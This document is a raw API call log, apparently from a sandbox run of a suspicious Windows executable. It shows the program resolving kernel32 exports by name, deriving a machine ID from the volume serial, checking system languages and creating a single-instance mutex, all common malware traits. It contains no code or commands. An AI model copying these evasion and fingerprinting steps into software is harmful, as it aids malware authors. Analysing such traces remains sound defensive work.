lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0053.762] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0053.762] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0053.762] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0053.762] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0053.762] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0053.763] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0053.763] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0053.763] lstrlenA (lpString="CREATEPIPE") returned 10 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0053.763] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0053.763] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0053.763] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0053.763] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0053.763] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0053.763] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0053.763] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0053.763] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0053.763] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0053.763] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0053.763] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0053.763] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0053.763] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0053.763] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0053.763] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0053.763] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0053.763] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0053.763] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0053.763] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0053.763] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0053.764] lstrlenA (lpString="CREATETHREAD") returned 12 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0053.764] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0053.764] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0053.764] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0053.764] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0053.764] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0053.764] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0053.764] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0053.764] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0053.764] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0053.764] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0053.764] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0053.764] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0053.764] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0053.764] lstrlenA (lpString="CTRLROUTINE") returned 11 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0053.764] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0053.764] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0053.764] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0053.764] lstrlenA (lpString="DEBUGBREAK") returned 10 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0053.764] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0053.764] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0053.764] lstrlenA (lpString="DECODEPOINTER") returned 13 [0053.764] lstrcpyA (in: lpString1=0x34e430, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0053.765] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0053.765] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0053.765] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0053.765] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0053.765] lstrlenA (lpString="DELETEATOM") returned 10 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0053.765] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0053.765] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0053.765] lstrlenA (lpString="DELETEFIBER") returned 11 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0053.765] lstrlenA (lpString="DELETEFILEA") returned 11 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0053.765] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0053.765] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0053.765] lstrlenA (lpString="DELETEFILEW") returned 11 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0053.765] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0053.765] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0053.765] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0053.765] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0053.765] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0053.765] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0053.765] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0053.765] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0053.765] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0053.765] lstrcpyA (in: lpString1=0x34e430, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0053.765] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0053.766] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0053.766] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0053.766] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0053.766] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0053.766] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0053.766] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0053.766] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0053.766] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0053.766] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0053.766] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0053.766] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0053.766] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0053.766] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0053.766] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0053.766] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0053.766] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0053.766] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0053.766] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0053.766] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0053.766] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0053.766] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0053.766] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0053.767] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0053.767] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0053.767] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0053.767] lstrcpyA (in: lpString1=0x34e430, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0053.767] GetWindowsDirectoryW (in: lpBuffer=0x34f26c, uSize=0x200 | out: lpBuffer="C:\\Windows") returned 0xa [0053.767] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x34f0c0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x34f0c0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.767] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x370000 [0053.771] wsprintfW (in: param_1=0x370000, param_2="%x%x" | out: param_1="9cda09f29c354b42") returned 16 [0053.771] GetUserDefaultUILanguage () returned 0x409 [0053.772] GetSystemDefaultLangID () returned 0x650409 [0053.772] GetUserDefaultLangID () returned 0x409 [0053.772] GetTickCount64 () returned 0x1cd3d [0053.772] wsprintfW (in: param_1=0x34f76c, param_2="Global\\%s" | out: param_1="Global\\9cda09f29c354b42") returned 23 [0053.772] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="9cda09f29c354b42") returned 0x1d4 [0053.772] GetLastError () returned 0x0 [0053.772] GetLastError () returned 0x0 [0053.772] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x5f0000 [0053.773] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x600000 [0053.773] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0x610000 [0053.774] lstrlenA (lpString="kernel32.dll") returned 12 [0053.775] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0053.775] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0053.775] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0053.775] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0053.775] lstrlenA (lpString="ADDATOMA") returned 8 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0053.775] lstrlenA (lpString="ADDATOMW") returned 8 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0053.775] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0053.775] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0053.775] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0053.775] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0053.775] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0053.775] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0053.775] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0053.775] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0053.775] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0053.775] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0053.775] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0053.775] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0053.775] lstrcpyA (in: lpString1=0x34eac8, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0053.776] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0053.776] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0053.776] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0053.776] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0053.776] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0053.776] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0053.776] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0053.776] lstrlenA (lpString="BACKUPREAD") returned 10 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0053.776] lstrlenA (lpString="BACKUPSEEK") returned 10 [0053.776] lstrcpyA (in: lpString1=0x34eac8, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0053.776] lstrlenA (lpString="BACKUPWRITE") returned 11 [0053.776] 